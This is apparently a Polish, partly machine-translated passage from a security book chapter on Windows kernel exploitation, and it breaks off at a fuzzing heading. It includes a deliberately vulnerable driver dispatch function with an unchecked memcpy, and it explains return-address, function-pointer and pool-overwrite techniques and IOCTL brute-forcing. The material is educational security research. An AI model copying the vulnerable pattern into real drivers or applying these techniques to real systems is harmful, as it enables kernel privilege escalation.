Hakowanie jądra systemu Windows

Omówimy sposoby znajdowania i wykorzystywania błędów w kodzie trybu jądra systemu Windows. Zaczniemy od krótkiego przeglądu jądra i omówienia typowych błędów programistycznych. Następnie przyjrzymy się dwóm powszechnym interfejsom, z których można zaatakować jądro - wywołaniom systemowym i kodom kontroli wejścia/wyjścia sterowników urządzeń — przed wprowadzeniem w trybie jądra ładunków wykorzystujących eksploatację, które podnoszą uprawnienia, wykonują dodatkowy ładunek trybu użytkownika i podważają bezpieczeństwo jądra.

Wady trybu jądra systemu Windows — coraz częściej ścigany gatunek

Coraz częściej zgłaszane są luki w zabezpieczeniach kodu działającego w trybie jądra systemu Windows. W każdym miesiącu na Bugtraq lub Full Disclosure istnieje szansa, że zostanie zgłoszonych kilka problemów z jądrem, zazwyczaj lokalna eskalacja uprawnień z powodu błędów w sterownikach urządzeń, ale czasami można je wykorzystać zdalnie, często nie wymagając uwierzytelniania. Jak na ironię, wiele z tych problemów dotyczy samych produktów zabezpieczających, takich jak osobiste zapory ogniowe. Błędy jądra tradycyjnie przyciągały mniej uwagi i były postrzegane jako trudniejsze do znalezienia i wykorzystania niż błędy trybu użytkownika. W rzeczywistości wiele klas błędów wpływających na aplikacje w trybie użytkownika — przepełnienia stosu, przepełnienia liczb całkowitych, przepełnienia sterty — jest obecnych w kodzie jądra, a techniki ich znajdowania w aplikacjach w trybie użytkownika — fuzzing, analiza statyczna i analiza dynamiczna — stosuje się równie dobrze do kodu trybu jądra. W niektórych przypadkach błędy są łatwiejsze do wykrycia w kodzie trybu jądra niż w trybie użytkownika. Dlaczego więc wady jądra są przedmiotem większej uwagi? Prawdopodobnie przyczynia się do tego kilka czynników:

■■ Lepsze zrozumienie działania jądra na niskim poziomie. Jądro systemu Windows jest zasadniczo złożoną czarną skrzynką; jednak w ciągu ostatnich 10 lat powoli stawało się coraz lepiej rozumiane. Obecnie istnieje wiele przydatnych zasobów pozwalających zrozumieć aspekty jego działania — Microsoft Windows Internals, Fourth Edition autorstwa Marka E. Russinovicha i Davida A. Solomona (Microsoft Press, 2004) to z pewnością dobry punkt wyjścia. Ponadto pojawiło się kilka artykułów Phrack na temat manipulowania jądrem, a posty na Rootkit.com rzuciły światło na niektóre czarniejsze wnętrzności jądra.

■■ Coraz trudniej znaleźć luki w aplikacjach trybu użytkownika. W społeczności zajmującej się bezpieczeństwem powszechnie przyjmuje się, że proste luki w zabezpieczeniach związane z przepełnieniem stosu, przynajmniej w krytycznych usługach systemu Windows, wysychają. Jednak kod, który działa w jądrze, był mniej analizowany. Wynika to częściowo z czarnej sztuki, jaką jest rozwój sterowników. Deweloperzy często włamują się do próbki z zestawu Device Driver Development Kit (DDK), dopóki nie spełni ona ich wymagań, a większość producentów oprogramowania nie ma wielu osób przygotowanych do przeprowadzenia wzajemnej oceny sterownika. Kod trybu jądra jest zatem potencjalnie bogatą w cele powierzchnią ataku.

■■ Zwiększona ekspozycja dzięki połączonym urządzeniom peryferyjnym. W dzisiejszych czasach przeciętny notebook prawdopodobnie zawiera bezprzewodową kartę sieciową, adapter Bluetooth i port podczerwieni. Takie urządzenia są kontrolowane przez sterowniki trybu jądra, które są odpowiedzialne za analizowanie otrzymanych nieprzetworzonych danych w celu wyodrębnienia ich dla innego sterownika urządzenia lub aplikacji trybu użytkownika. Tworzy to potencjalnie niszczycielską powierzchnię ataku, która może być anonimowo atakowana przez napastników znajdujących się w tej samej fizycznej lokalizacji.

Wprowadzenie do jądra Windows

System Windows działa w trybie chronionym z dwoma trybami działania — trybem użytkownika i trybem jądra — wymuszanym przez sam procesor za pomocą pierścieni uprawnień: pierścień trzy dla trybu użytkownika i pierścień zero dla jądra. Ponieważ kod trybu jądra działa w pierścieniu zero, ma pełny dostęp do zasobów sprzętowych i maszynowych. Obowiązki jądra obejmują zarządzanie pamięcią, planowanie wątków, abstrakcję sprzętu i egzekwowanie bezpieczeństwa. Naszym celem jako atakującego jest wykorzystanie luki w kodzie jądra, aby „uzyskać pierścień zerowy", to znaczy wykonać nasz kod w trybie jądra, a tym samym uzyskać nieograniczony dostęp do zasobów systemowych. Jądro systemu Windows zwykle znajduje się w ntoskrnl.exe, chociaż nazwa pliku może się różnić w zależności od rozszerzenia adresu fizycznego (PAE) i obsługi wielu procesorów. Jądro jest ładowane przez program ładujący; to jest ntldr.exe w systemie Windows 2003 i niższych oraz winload.exe w systemie Vista. ntoskrnl implementuje rdzeń systemu operacyjnego, w tym Menedżera pamięci wirtualnej, Object Manager, Cache Manager, Process Manager i Security Reference Monitor. Inne funkcje, takie jak Menedżer okien i obsługa prymitywów graficznych, są ładowane za pośrednictwem modułów jądra, znanych jako sterowniki urządzeń. Termin sterownik urządzenia jest w rzeczywistości mylący. Chociaż wiele sterowników urządzeń współdziała bezpośrednio z urządzeniami peryferyjnymi, takimi jak sieć, karta graficzna i dźwiękowa, inne nie mają nic wspólnego z urządzeniem fizycznym, a zamiast tego w jakiś sposób rozszerzają funkcjonalność jądra. System Windows jest dostarczany z wieloma sterownikami urządzeń, nie tylko sterownikami firmy Microsoft, które zapewniają podstawowe funkcje, które uważamy za oczywiste (takie jak obsługa wielu systemów plików), ale także sterowniki innych firm, które kontrolują określone elementy sprzętu.

Typowe wady programowania w trybie jądra

Przyjrzyjmy się niektórym typowym klasom błędów jądra. Zauważysz, że te podstawowe wady są takie same, niezależnie od tego, czy atakujemy kod trybu jądra, czy kod trybu użytkownika. Z tego powodu nie będziemy zagłębiać się w mechanikę każdej klasy, która została dokładnie omówiona w innym miejscu tej książki – omówimy tylko to, co jest interesujące i unikalne dla trybu jądra.

NIESŁAWNY NIEBIESKI EKRAN ŚMIERCI

Gdy jądro napotka warunek zagrażający bezpiecznemu działaniu systemu, system zatrzymuje się. Ten stan nazywa się sprawdzaniem błędów, ale jest również powszechnie określany jako błąd zatrzymania lub „niebieski ekran śmierci" (BSOD). Bbędziemy używać tych terminów zamiennie. Jeśli dołączony jest debuger jądra, system powoduje przerwę, dzięki czemu można go użyć do zbadania awarii. Jeśli nie jest dołączony żaden debuger, wyświetlany jest niebieski ekran tekstowy z informacją o błędzie, a zrzut awaryjny jest opcjonalnie zapisywany na dysku. Podczas fuzzowania kodu jądra lub tworzenia ładunku w trybie jądra zdecydowanie zaleca się zainstalowanie debugera jądra, aby w przypadku wystąpienia nieobsłużonego wyjątku można go było debugować w czasie rzeczywistym. Alternatywnym podejściem jest praca ze zrzutów awaryjnych, które umożliwiają analizę offline.

Przepełnienia stosu

Podstawowe koncepcje wykorzystywania przepełnień stosu w trybie użytkownika dotyczą również trybu jądra; zazwyczaj wystarczy nadpisać adres zwrotny, aby kontrolować przepływ wykonania. Gdy przepełnienie stosu jądra jest wykorzystywane przez użytkownika lokalnego, jest to zwykle trywialne. Adres zwrotny może zostać bezpośrednio nadpisany dowolnym adresem w trybie użytkownika, w którym atakujący zmapował swój kod powłoki. Takie podejście ma dwie główne zalety: Po pierwsze, nie ma ograniczeń rozmiaru kodu powłoki, ponieważ nie jest on przechowywany w buforze stosu. Po drugie, nie ma ograniczeń dotyczących znaków; shellcode może zawierać dowolną wartość bajtową, w tym bajty null, ponieważ nie jest częścią bufora skopiowanego do lokalnej zmiennej stosu i dlatego nie podlega ograniczeniom aplikacji. Gdy przepełnienie stosu jest wyzwalane zdalnie, ładunek musi być

samowystarczalny. Kilku dostawców udostępniło aktualizacje sterowników urządzeń bezprzewodowych, aby naprawić zdalnie dostępne przepełnienia stosu podczas analizowania zniekształconych ramek 802.11b. Ich wykorzystywanie było tematem gorąco polecanego artykułu, który ukazał się w Uninformed Journal, dostępnym pod adresem http://www.uninformed.org/?v=6&a=2&t=sumry.

Flaga /GS

Od Windows Server 2003 SP1 DDK flaga /GS jest domyślnie włączona podczas kompilowania sterowników urządzeń. Jeśli zostanie wykryte przepełnienie stosu, zostanie zgłoszony błąd sprawdzania 0xF7 (DRIVER_OVERRAN_STACK_BUFFER), co skutkuje znanym BSOD. To samo w sobie jest odmową usługi, która może być poważnym problemem, jeśli można ją uruchomić zdalnie i bez konieczności uwierzytelniania.

Rozważ następującą funkcję wysyłki. Bardziej szczegółowo omówimy luki w zabezpieczeniach sterowników w sekcji „Komunikacja ze sterownikami urządzeń” w dalszej części rozdziału; na razie wystarczy zauważyć, że Irp->AssociatedIrp.SystemBuffer

. . . wskazuje na bufor użytkownika, który ma długość

irpStack->Parametry.DeviceIoControl.InputBufferLength

Funkcja działa na strukturze przekazanej przez ten bufor. Zawiera dość oczywiste przepełnienie, a także problem z ujawnieniem pamięci, ponieważ długość bufora wejściowego jest minimalnie zweryfikowana.

```
typedef struct _MYSTRUCT

{

DWORD d1;

DWORD d2;

DWORD d3;

DWORD d4;

} MYSTRUCT, *PMYSTRUCT;

NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

{

PIO_STACK_LOCATION irpStack;

DWORD dwInputBufferLength;

PVOID pvIoBuffer;

DWORD dwIoControlCode;

NTSTATUS ntStatus;

MYSTRUCT myStruct;

ntStatus = STATUS_SUCCESS;
```

```
irpStack = IoGetCurrentIrpStackLocation(Irp);
pvIoBuffer = Irp->AssociatedIrp.SystemBuffer;
dwInputBufferLength = irpStack-
>Parameters.DeviceIoControl.InputBufferLength;
dwIoControlCode = irpStack-
>Parameters.DeviceIoControl.IoControlCode;
switch (irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
break;
case IRP_MJ_SHUTDOWN:
break;
case IRP_MJ_CLOSE:
break;
case IRP_MJ_DEVICE_CONTROL:
switch (dwIoControlCode)
{
case IOCTL_GSTEST_DOWORK:
if (dwInputBufferLength)
{
memcpy(&myStruct, pvIoBuffer,
dwInputBufferLength);
DoWork(&myStruct);
memcpy(Irp-
>AssociatedIrp.SystemBuffer, pvIoBuffer, dwInputBufferLength);
Irp->IoStatus.Information =
dwInputBufferLength;
}
else
{
ntStatus =
```

```
STATUS_INVALID_PARAMETER;

}

break;

default:

ntStatus = STATUS_INVALID_PARAMETER;

break;

}

break;

}

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return ntStatus;
```

Rozłóżmy na części epilog funkcji; sterownik zawierający tę funkcję został skompilowany za pomocą /GS, więc spodziewamy się walidacji pliku cookie stosu:

```
; Disassembly of call to IoCompleteRequest and epilog

.text:00011091 xor dl, dl

.text:00011093 mov ecx, eax

.text:00011095 call ds:IofCompleteRequest

.text:0001109B xor eax, eax

.text:0001109D pop ebp

.text:0001109E retn 8
```

Funkcja po prostu wywołuje IoCompleteRequest i zwraca. Przejęcie kontroli nad wykonaniem tej funkcji przez wypróbowane i przetestowane nadpisanie zapisanego adresu zwrotnego jest trywialne. Kompilator uznał, że ta funkcja nie stwarza wystarczającego ryzyka i dlatego nie chroni jej za pomocą cookie stosu. Jak tylko wstawimy następujące atrapy linii na początku funkcji, ponownie skompilujemy i zdeasemblujemy, zauważymy, że ochrona stosu jest włączona:

```
CHAR chBuffer[64];

...

strcpy(chBuffer, “This is a test”);

DbgPrint(chBuffer);

; Disassembly of call to IoCompleteRequest and epilog

.text:000110BF xor dl, dl
```

.text:000110C1 mov ecx, ebx

.text:000110C3 call ds:IofCompleteRequest

.text:000110C9 mov ecx, [ebp-4]

.text:000110CC pop edi

.text:000110CD pop esi

.text:000110CE xor eax, eax

.text:000110D0 pop ebx

.text:000110D1 call sub_11199

.text:000110D6 leave

.text:000110D7 retn 8

; Stack cookie validation routine

.text:00011199 sub_11199 proc near ; CODE XREF:

.text:00011199 cmp ecx, BugCheckParameter2

.text:0001119F jnz short loc_111AA

.text:000111A1 test ecx, 0FFFF0000h

.text:000111A7 jnz short loc_111AA

.text:000111A9 retn

To selektywne zastosowanie /GS to – niestety – dobra wiadomość dla twórców exploitów trybu jądra. Chociaż będą sytuacje, w których flaga /GS utrudni eksploatację, często sterowniki urządzeń przekazują struktury, a nie tablice znaków. W konsekwencji duża powierzchnia pozostaje niezabezpieczona. Właściwa heurystyka, której używa kompilator do określenia, czy funkcja powinna otrzymać plik cookie stosu, jest nieco bardziej skomplikowana niż po prostu, czy funkcja zawiera tablicę znaków. Są one szczegółowo opisane w witrynie MSDN pod adresem http://msdn2.microsoft.com/en-US/library/8dbf701c.aspx. Oczywiście zawsze znajdą się programiści, którzy wyraźnie wyłączą flagę /GS lub skompilują starszą wersję DDK.

Przepełnienia sterty

Wykorzystywanie przepełnień sterty jądra to temat, któremu poświęcono niewiele uwagi. Jedyną publiczną dyskusją na ten temat jest wykład SoBeIt Xcon 2005 „Jak wykorzystać pulę pamięci jądra systemu Windows”. Zgłoszono luki w zabezpieczeniach związane z przepełnieniem sterty jądra. Podstawowym założeniem metody SoBeIt jest zbudowanie wolnego fragmentu pamięci (puli) za fragmentem, który jest przepełniony, w celu uzyskania dowolnego prymitywu zapisu, gdy przepełniona pula zostanie zwolniona. Arbitralne nadpisywanie może być użyte do kierowania KiDebugRoutine, funkcji, która jest wywoływana, gdy wystąpi nieobsługiwany wyjątek i dołączony jest debuger jądra. Wyjątek może wystąpić, gdy system zwolni sfałszowaną pulę lub sąsiada; w ten sposób atakujący może przejąć kontrolę nad wykonaniem. Ładunek jest najpierw wymagany do naprawy basenu, aby zapobiec niebieskiemu ekranowi.

Niewystarczająca weryfikacja adresów trybu użytkownika

Jedną z najczęstszych luk w kodowaniu jądra jest nieprawidłowe sprawdzanie poprawności adresów przekazanych z trybu użytkownika, co pozwala atakującemu na nadpisanie dowolnego adresu w przestrzeni jądra. Poziom kontroli, jaką ma atakujący nad zapisaną wartością, jest zwykle nieistotny, pod warunkiem, że ma pewną kontrolę nad adresem docelowym, ponieważ istnieje wiele sposobów uzyskania kontroli nad wykonaniem tego typu błędu. Typowym sposobem wykorzystania dowolnego nadpisania jest wskazanie wskaźnika funkcji i nadpisanie go tak, aby wskazywał tryb użytkownika. Atakujący następnie mapuje swój ładunek na ten adres w aplikacji trybu użytkownika i wyzwala (lub czeka na) wywołanie poprzez wskaźnik funkcji. Jednym z potencjalnych problemów z ustawianiem wskaźników funkcji trybu jądra w trybie użytkownika jest to, że jeśli zostanie wywołany, gdy proces w trybie użytkownika zawierający ładunek nie jest bieżącym kontekstem wykonania, może nie być tam zamapowanej pamięci (lub jeśli tak jest, nie będzie ładunkiem), co spowoduje sprawdzenie błędów.

Luki w zabezpieczeniach związane z arbitralnym nadpisywaniem są powszechne w sterownikach urządzeń; wiele popularnych rozwiązań antywirusowych ucierpiało z powodu tej klasy problemów, w tym produkty firm Symantec i Trend Micro:

http://www.idefense.com/intelligence/vulnerabilities/display.php?id=417

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=469

Podatny był również sterownik Microsoft Server Message Block Redirector:

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=408

W dalszej części rozdziału omówimy, jak wykryć tego typu błędy w kodowaniu.

Zmiana przeznaczenia ataków

Deweloperzy często piszą sterowniki, ponieważ muszą zezwolić aplikacji trybu użytkownika na pewien poziom dostępu do sprzętu i zasobów maszyny. Istnieje wiele źle napisanych sterowników, które nie biorą pod uwagę, że użytkownik o niskich uprawnieniach może wchodzić w nieoczekiwane interakcje ze sterownikiem. Dobrym tego przykładem jest umożliwienie dostępu do przestrzeni we/wy za pośrednictwem sterownika. Aplikacje w trybie użytkownika zazwyczaj działają z poziomem uprawnień we/wy (IOPL) równym zero. Oznacza to, że dostęp do przestrzeni we/wy jest ograniczony przez mapę uprawnień we/wy, bitmapę poszczególnych procesów przechowywaną w jądrze, która określa, do których portów proces może uzyskać dostęp. Możliwe jest, że proces, który ma włączoną opcję SeTcbPrivilege, podniesie liczbę operacji IOPL do trzech, a tym samym wykona nieograniczone operacje we/wy; jednak tylko LocalSystem zazwyczaj ma to uprawnienie. Typowym rozwiązaniem tego problemu jest utworzenie sterownika udostępniającego dostęp do przestrzeni we/wy. To rozwiązanie jest samo w sobie luką, jeśli nisko uprzywilejowany użytkownik jest w stanie otworzyć urządzenie i wydać całkowicie arbitralne wejścia i wyjścia instrukcje przez sterownik.

Ataki na obiekt współdzielony

Sterowniki zazwyczaj muszą w jakiś sposób współdziałać z aplikacjami trybu użytkownika, chyba że są sterownikami filtrującymi, które działają na pakietach żądań we/wy (IRP) generowanych przez inne sterowniki. Deweloperzy trybu jądra muszą zachować szczególną ostrożność podczas uzyskiwania dostępu do zasobów udostępnianych w trybie użytkownika w taki sam sposób, w jaki usługi trybu użytkownika o wysokich uprawnieniach muszą być ostrożne podczas udostępniania zasobów procesom o niższych uprawnieniach. Podczas Miesiąca Błędów Jądra (MoKB) zgłoszono problem dotyczący podsystemu graficznego Windows XP i niższych. Sekcja została zmapowana jako tylko do odczytu w procesach trybu użytkownika, które mają GUI; sekcja może być po prostu przemapowana

jako odczyt-zapis i przepisana. Zawartość sekcji nie została zweryfikowana przez jądro przed użyciem, co ostatecznie doprowadziło do powstania dowolnego kodu w kontekście jądra. Dalszy opis tego problemu jest dostępny pod adresem http://projects.info-pull.com/mokb/MOKB-06-11-2006.html. Teraz, gdy rozważyliśmy niektóre typy luk w kodzie jądra, w następnej sekcji przeanalizujemy dwa najważniejsze interfejsy między trybem użytkownika a trybem jądra — mechanizm wywołań systemowych Windows i kod sterujący we/wy sterownika urządzenia.

Wywołania systemowe Windows

Historia ma niesamowity sposób na powtarzanie się w bezpieczeństwie. Przyjrzyjmy się niektórym z wczesnych luk zgłoszonych w jądrze systemu Windows i porównajmy je z ostatnio zgłoszonymi problemami. Jednymi z pierwszych błędów jądra były problemy z walidacją wywołań systemowych zgłoszone przez Marka Russinovicha i Bryce'a Cogswella. Aby to zrozumieć, konieczne jest wyjaśnienie, jak działają wywołania systemowe.

Zrozumienie wywołań systemowych

Aby bezpiecznie zezwolić na operacje uprzywilejowane, takie jak otwieranie plików i manipulowanie procesami, system operacyjny musi przejść z trybu użytkownika do trybu jądra za pomocą wywołania systemowego. Większość twórców aplikacji pisze kod, który wywołuje funkcje biblioteczne w interfejsie Win32 API, którego rdzeń jest zaimplementowany przez kernel32.dll, user32.dll i gdi32.dll. Jeśli funkcja Win32 API musi wykonać wywołanie systemowe, wywoła odpowiednią funkcję Nt* w Native

API — CreateFile wywołuje NtCreateFile, CreateThread wywołuje NtCreateThread i tak dalej. Native API to oficjalnie nieudokumentowany zestaw funkcji, który w trybie użytkownika wykonuje instrukcje procesora powodujące przejście do trybu jądra, a w trybie jądra wykonuje operacje uprzywilejowane (sprawdzając najpierw, czy kontekst wywołujący ma wystarczające prawa dostępu, jeśli jest to wymagane). Ntdll.dll implementuje część natywnego interfejsu API w trybie użytkownika. Rzućmy okiem na deasemblację funkcji z Native API (zaczerpniętej z Windows XP SP2) przy użyciu WinDbg:

```
kd> u ntdll!NtCreateFile

ntdll!NtCreateFile:

7c90d682 b825000000 mov eax,0x25

7c90d687 ba0003fe7f mov edx, {SharedUserData!SystemCallStub

(7ffe0300)}

7c90d68c ff12 call dword ptr [edx]

7c90d68e c22c00 ret 0x2c
```

Poprzednie instrukcje ładują EAX z wartością 0x25. To jest identyfikator liczbowy reprezentujący NtCreateFile. Następnie następuje wywołanie przez wskaźnik funkcji znajdujący się pod adresem 0x7FFE0300. Ten adres jest znany jako SystemCallStub i znajduje się w obszarze pamięci znanym jako SharedUserData. SharedUserData ma kilka interesujących właściwości, do których przyjrzymy się ponownie, omawiając wykorzystywanie błędów jądra. Mając to na uwadze, należy pamiętać, że SharedUserData znajduje się pod adresem 0x7FFE0000 we wszystkich wersjach systemu Windows i jest mapowany na wszystkie procesy trybu użytkownika, stąd jego nazwa. Przyjrzyjmy się dokładniej SystemCallStub:

7c90eb8b 8bd4 mov edx,esp

7c90eb8d 0f34 sysenter

7c90eb8f 90 nop

7c90eb90 90 nop

7c90eb91 90 nop

7c90eb92 90 nop

7c90eb93 90 nop

ntdll!KiFastSystemCallRet:

7c90eb94 c3 ret

Wskaźnik stosu jest przechowywany w EDX, a procesor wykonuje SYSENTER. SYSENTER to instrukcja w procesorach Intel Pentium II i wyższych, która powoduje szybkie przejście do trybu jądra. Jego odpowiednikiem na procesorach AMD jest SYSCALL, obecny

od rodziny K7. Przed opracowaniem SYSENTER i SYSCALL system operacyjny przeszedł na jądro poprzez podniesienie przerwania programowego 0x2E. Jest to wciąż mechanizm, z którego korzysta Windows 2000 niezależnie od obsługi przez procesor szybszych instrukcji. Po wykonaniu polecenia SYSENTER sterowanie przełącza się na wartość określoną przez rejestr specyficzny dla modelu (MSR) SYSENTER_EIP_MSR. Rejestry MSR to rejestry konfiguracji używane przez system operacyjny. Są one odczytywane i ustawiane odpowiednio za pomocą instrukcji RDMSR i WRMSR; są to instrukcje uprzywilejowane i dlatego mogą być wykonywane tylko od pierścienia zerowego. SYSENTER_EIP_MSR (0x176) jest ustawiony tak, aby wskazywał na funkcję KiFastCallEntry w Windows XP i nowszych. KiFastCallEntry wywołuje KiSystemService; jest to funkcja, która obsługuje przerwanie 0x2E w starszych wersjach Windows. KiSystemService kopiuje parametry ze stosu trybu użytkownika, na który wskazuje EDX, pobiera wartość wcześniej zapisaną w EAX (numer wywołania systemowego) i wykonuje funkcję umieszczoną w indeksie do odpowiedniej tabeli usług.

Atakowanie połączeń systemowych

Mechanizm wywołań systemowych przedstawia sporą powierzchnię ataku, łącząc tryb użytkownika z trybem jądra. Twórcy systemu operacyjnego muszą zapewnić, że mechanizm wysyłania wywołań systemowych jest solidny, a same wywołania systemowe ściśle weryfikują parametry. Niezastosowanie się do tego może spowodować „niebieski ekran śmierci” lub, w najgorszym przypadku, wykonanie dowolnego kodu z uprawnieniami jądra. Z tego powodu ntoskrnl eksportuje funkcje, które mogą być używane do sprawdzania poprawności parametrów, gdy są używane w strukturalnej obsłudze wyjątków:

ProbeForRead: Ta funkcja sprawdza, czy bufor trybu użytkownika faktycznie znajduje się w części użytkownika przestrzeni adresowej i jest prawidłowo wyrównany. ProbeForWrite: Ta funkcja sprawdza, czy bufor trybu użytkownika faktycznie znajduje się w części przestrzeni adresowej trybu użytkownika, jest zapisywalny i jest prawidłowo wyrównany. Jeśli możesz znaleźć wywołanie systemowe, które pobiera parametry i nie wykonuje żadnych walidacji, to prawdopodobnie znalazłeś usterkę. Właśnie to Mark Russinovich i Bryce Cogswell postanowili zautomatyzować w 1996 roku za pomocą narzędzia NtCrash. Pierwsza inkarnacja NtCrash odkryła 13 luk w Win32k.sys w NT 4.0. Rok później Russinovich wydał drugą wersję NtCrash; jest nadal dostępny pod adresem http://www.sysinternals.com/files/ntcrash2.zip.

NtCrash2 znalazł kolejne 40 błędów, tym razem w ntoskrnl. Wiele z nich najprawdopodobniej nadało się do wykorzystania. Od tego czasu Microsoft włożył wiele wysiłku w zabezpieczenie wywołań systemowych. Chociaż wciąż może istnieć kilka konkretnych problemów z przypadkiem brzegowym, które powodują problemy, spędzanie czasu na kontrolowaniu walidacji wywołań systemowych prawdopodobnie będzie bezowocnym ćwiczeniem pod względem wydajności błędów (chociaż niewątpliwie dowiesz się nowych rzeczy o jądrze). Kod innej firmy może dodać własną tabelę usług do tabeli deskryptorów usług systemowych (SSDT) za pomocą wyeksportowanego interfejsu API KeAddSystemServiceTable. W rzeczywistości „ręczne" dodanie nowej tabeli usług jest stosunkowo proste, chociaż nie jest to szczególnie powszechne. Częściej zdarza się, że kod innej firmy przechwytuje SSDT, to znaczy zastępuje wskaźniki funkcji w KiServiceTable, aby uzyskać kontrolę podczas wykonywania pewnych wywołań systemowych. Jest to podejście, które stosuje wiele rozwiązań bezpieczeństwa, rootkitów i implementacji DRM w celu kontrolowania dostępu do zasobów w sposób niemożliwy do uzyskania za pośrednictwem standardowej funkcjonalności systemu operacyjnego. Niestety w wielu przypadkach zewnętrzni programiści nie kodują defensywnie i możliwe jest przekazywanie zniekształconych parametrów w celu spowodowania odmowy usługi i warunków umożliwiających wykorzystanie. NtCrash2 znów jeździ! Zarówno Kerio, jak i Norton Personal Firewall były podatne na tego typu luki:

http://www.matousec.com/info/advisories/Kerio-Multiple-insufficientargument-validation-of-hooked-SSDT-functions.php

http://www.matousec.com/info/advisories/Norton-Multiple-insufficientargument-validation-of-hooked-SSDT-functions.php

Komunikacja ze sterownikami urządzeń

Prawdopodobnie najczęstszym sposobem interakcji ze sterownikiem urządzenia w trybie użytkownika jest funkcja API Win32 DeviceIoControl. Ta funkcja umożliwia użytkownikowi wysłanie do sterownika kodu sterującego we/wy (IOCTL) z opcjonalnym buforem wejściowym i wyjściowym. Kod sterujący we/wy to 32-bitowa wartość określająca typ urządzenia,

wymagany dostęp, kod funkcji i typ transferu, jak pokazano tutaj:

[Wspólny |Typ urządzenia|Wymagany dostęp|Niestandardowy|Kod funkcji|Typ transferu]

31 30←----→16 15←--------→14 13 12←--------→2 1←--------→0

Komponenty kodu sterującego we/wy

Omówmy każdy składnik IOCTL:

■■ Urządzenie może być jednym z typów urządzeń zdefiniowanych przez Microsoft (wymienionych w nagłówkach DDK) lub kodem niestandardowym, zwykle powyżej 0x8000 (czyli 16 bit, wspólny bit, jest ustawiony w celu wskazania kodu niestandardowego) .

■■ Wymagane bity dostępu określają prawa, z którymi aplikacja trybu użytkownika musi otworzyć urządzenie, aby menedżer we/wy zezwolił na przekazanie protokołu IRP do sterownika. Wielu twórców sterowników ustawia to na FILE_ANY_ACCESS, pozwalając każdemu, kto ma dojście do sterownika, na wysłanie IOCTL. Wymagany dostęp może być zwykle ograniczony do ściślejszego zestawu uprawnień, takiego jak FILE_READ_ACCESS.

■■ Kod funkcji identyfikuje funkcję reprezentowaną przez IOCTL. Warto zauważyć, że IOCTL obsługiwane przez urządzenie nie muszą mieć przyrostowych kodów funkcji, a zgodnie z DDK wartości

mniejsze niż 0x800 są zarezerwowane dla Microsoftu, chociaż nie jest to w żaden sposób egzekwowane.

■■ Typ przesyłania określa sposób, w jaki system będzie przesyłać dane między aplikacją w trybie użytkownika a urządzeniem. Musi być ustawiony na jedną z następujących stałych:

■■ METODA_BUFOROWANA: system operacyjny tworzy niestronicowany bufor systemowy o rozmiarze równym buforowi aplikacji. W przypadku operacji zapisu menedżer we/wy kopiuje dane użytkownika do bufora systemowego przed wywołaniem stosu sterownika. W przypadku operacji odczytu menedżer we/wy kopiuje dane z bufora systemowego do bufora aplikacji po zakończeniu żądanej operacji przez stos sterowników.

■■ METHOD_IN_DIRECT lub METHOD_OUT_DIRECT: system operacyjny blokuje bufor aplikacji w pamięci. Następnie tworzy listę deskryptorów pamięci (MDL), która identyfikuje zablokowane strony pamięci i przekazuje MDL do stosu sterowników. Kierowcy uzyskują dostęp do zablokowanych stron za pośrednictwem MDL.

■■ METODA_NIE_NIE: System operacyjny przekazuje wirtualny adres początkowy i rozmiar bufora aplikacji do stosu sterowników. Bufor jest dostępny tylko ze sterowników wykonywanych w kontekście wątku aplikacji. Najczęstsze luki związane z obsługą IOCTL to:

1. Brak sprawdzania poprawności adresu bufora przy użyciu metody METHOD_NEITHER. Prowadzi to bezpośrednio do arbitralnego nadpisania w przypadku bufora wyjściowego.

2. Brak walidacji adresów i danych przekazywanych w strukturach (dotyczy wszystkich typów przelewów). Zapisujący sterownik może wybrać METHOD_BUFFERED, aby zaoszczędzić na walidacji adresu bufora. Wiele buforów zawiera struktury, które przechowują wskaźniki trybu użytkownika. Jeśli dostęp do nich uzyskuje się w trybie jądra, należy je również zweryfikować.

Znajdowanie usterek w programach obsługi IOCTL

Istnieją trzy główne podejścia do lokalizowania błędów wspomnianych w poprzedniej sekcji w procedurach obsługi IOCTL. Kolejne trzy sekcje omawiają te podejścia po kolei.

Analiza statyczna

Stosunkowo łatwo jest określić prawidłowe IOCTL na podstawie statycznej analizy sterownika przy użyciu deasemblera, takiego jak IDA Pro, lub debuggera, takiego jak WinDbg lub Olly-Dbg. Chociaż OllyDbg jest debugerem trybu użytkownika, załaduje sterownik, którego podsystem obrazu został zmodyfikowany. Przydatną funkcją OllyDbg jest możliwość wyszukiwania konstrukcji kodu, takich jak przełączniki. Funkcja wysyłania kierowcy jest często kodowana jako instrukcja switch oparta na IOCTL. Zaletą analizy statycznej jest to, że można zidentyfikować wszystkie obsługiwane IOCTL. Stosunkowo łatwo jest również zaobserwować, kiedy program obsługi nie przeprowadza walidacji — znakiem ostrzegawczym jest brak testowania długości buforów wejściowych i wyjściowych przed odczytem lub zapisem bufora. Wadą analizy statycznej jest to, że generalnie jest czasochłonna i pracochłonna.

Próby i błędy

Można stwierdzić, wywołując GetLastError po DeviceIoControl, czy urządzenie zaakceptowało IOCTL, czy IOCTL był poprawny, ale długość bufora wejściowego lub wyjściowego była niepoprawna, lub czy IOCTL nie został obsłużony. Losowe zgadywanie wartości IOCTL prawdopodobnie nie przyniesie większego sukcesu ze względu na 15-bitowy typ urządzenia i 10-bitowy kod funkcji. Lepszym podejściem jest wykonanie najpierw podstawowej analizy statycznej w celu określenia typu

urządzenia. Ten typ urządzenia jest przekazywany jako parametr do IoCreateDevice, który jest zwykle wywoływany w funkcji punktu wejścia sterownika. Następnie możliwe staje się użycie kodów funkcji brute force i typów transferu w celu określenia prawidłowych IOCTL. Następnym krokiem jest brutalne wymuszenie prawidłowych rozmiarów buforów wejściowych i wyjściowych oraz próba wysłania fałszywych danych do sterownika.

Zbieraj i Fuzz

